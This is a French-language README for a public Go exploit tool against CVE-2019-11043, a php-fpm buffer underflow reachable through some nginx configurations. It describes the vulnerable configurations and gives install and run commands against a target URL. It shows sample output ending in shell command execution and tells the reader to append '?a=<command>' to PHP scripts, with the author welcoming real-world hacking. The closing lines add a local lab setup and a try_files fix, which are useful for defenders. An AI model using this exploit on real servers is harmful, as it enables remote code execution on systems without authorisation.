
Exploit for CVE-2019-11043
Ceci est un exploit pour un bogue dans php-fpm (CVE-2019-11043). Dans certaines configurations nginx + php-fpm, il est possible de déclencher le bogue depuis l'extérieur. Cela signifie qu'un utilisateur web peut exécuter du code si vous avez une configuration vulnérable (voir ci-dessous).
Bien que nous ayons été trop paresseux pour rédiger un compte-rendu, Orange Tsai a publié une analyse parfaite sur son blog. Chapeau à lui.
Mes slides de ZeroNights 2019 sont disponibles.
Si un serveur web exécute nginx + php-fpm et que nginx a une configuration comme
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
qui ne comporte pas non plus de vérifications d'existence de script (comme try_files), alors vous pouvez probablement le pirater avec cet exploit.
location ~ [^/]\.php(/|$) doit être transmis à php-fpm (peut-être que la regexp peut être plus stricte, voir #1).PATH_INFO via l'instruction fastcgi_param PATH_INFO $fastcgi_path_info;. De plus, SCRIPT_FILENAME doit être défini en utilisant fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (il pourrait y avoir un chemin constant au lieu de $document_root). Au début, nous pensions qu'elles étaient toujours présentes dans le fichier fastcgi_params, mais ce n'est pas vrai.PATH_INFO sur une valeur vide. Cet exploit suppose que la directive fastcgi_split_path_info est présente et contient une regexp commençant par ^ et se terminant par $, donc il essaie de casser la regexp avec un caractère de nouvelle ligne.Il y a longtemps, php-fpm ne restreignait pas les extensions des scripts, ce qui signifie que quelque chose comme /avatar.png/some-fake-shit.php pouvait exécuter avatar.png en tant que script PHP. Ce problème a été corrigé vers 2010.
Le problème actuel ne nécessite pas de téléchargement de fichier, fonctionne dans les versions les plus récentes (jusqu'à ce que le correctif soit arrivé), et, surtout, l'exploit est beaucoup plus cool.
Installez-le avec
go get github.com/neex/phuip-fpizdam
Si vous obtenez des erreurs de compilation étranges, assurez-vous d'utiliser go >= 1.13. Exécutez le programme avec phuip-fpizdam [url] (en supposant que $GOPATH/bin est dans votre $PATH, sinon spécifiez le chemin complet vers le binaire). Une bonne sortie ressemble à ceci :
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Après cela, vous pouvez commencer à ajouter ?a=<votre commande> à tous les scripts PHP (vous pourriez avoir besoin de plusieurs tentatives).
Alternativement, vous pouvez utiliser une image Docker pour exécuter l'exploit :
docker run --rm ypereirareis/cve-2019-11043 [url]
Si vous souhaitez reproduire le problème ou jouer avec l'exploit localement via Docker, procédez comme suit :
reproducer.docker build -t reproduce-cve-2019-11043 .. Cela prend beaucoup de temps car il clone en interne le dépôt PHP et le compile à partir des sources. Cependant, ce sera plus facile si vous voulez déboguer l'exploit. La révision construite est celle juste avant le correctif.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= au script : http://127.0.0.1:8080/script.php?a=id. Essayez plusieurs fois car seuls certains workers php-fpm sont infectés.Si vous souhaitez reproduire le problème ou jouer avec l'exploit localement via LXD, procédez comme suit :
vulnerable et attacker. Vous pouvez utiliser l'image de conteneur ubuntu:18.04 pour les deux conteneurs.vulnerable, installez nginx et php-fpm. Configurez le bloc serveur comme cette configuration. Créez un fichier vide /var/www/html/index.php.attacker, installez le langage Go (sudo snap install go --classic), clonez ce dépôt, et exécutez go build dans le répertoire du dépôt../phuip-fpizdam http://vulnerable.lxd/index.php. Essayez plusieurs types afin d'infecter tous les workers php-fpm.Pour des instructions plus détaillées, consultez Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
Le buffer underflow dans php-fpm est présent dans PHP version 5. Cependant, cet exploit utilise une optimisation utilisée pour stocker les variables FastCGI, _fcgi_data_seg. Cette optimisation n'est présente que dans php 7, donc cet exploit particulier ne fonctionne que pour php 7. Il pourrait y avoir une autre technique d'exploitation qui fonctionne en php 5.
Anomalie originale découverte par d90pwn lors du Real World CTF. Cause racine trouvée par moi (Emil Lerner) ainsi que la manière de définir les options php.ini. L'ensemble final des options php.ini a été trouvé par beched.
Cet exploit est distribué selon les termes de la licence MIT.
Abstenez-vous de causer des dégâts avec cet exploit. Mais si vous piratez vraiment quelque chose avec ce truc, je serai heureux.
PATH_INFO est défini après REQUEST_URI dans la configuration.try_files $uri =404 ou if (-f $uri). Si Nginx abandonne les requêtes vers des scripts inexistants avant le transfert FastCGI, nos requêtes n'atteignent jamais php-fpm. Ajouter cela est aussi le moyen le plus simple de corriger.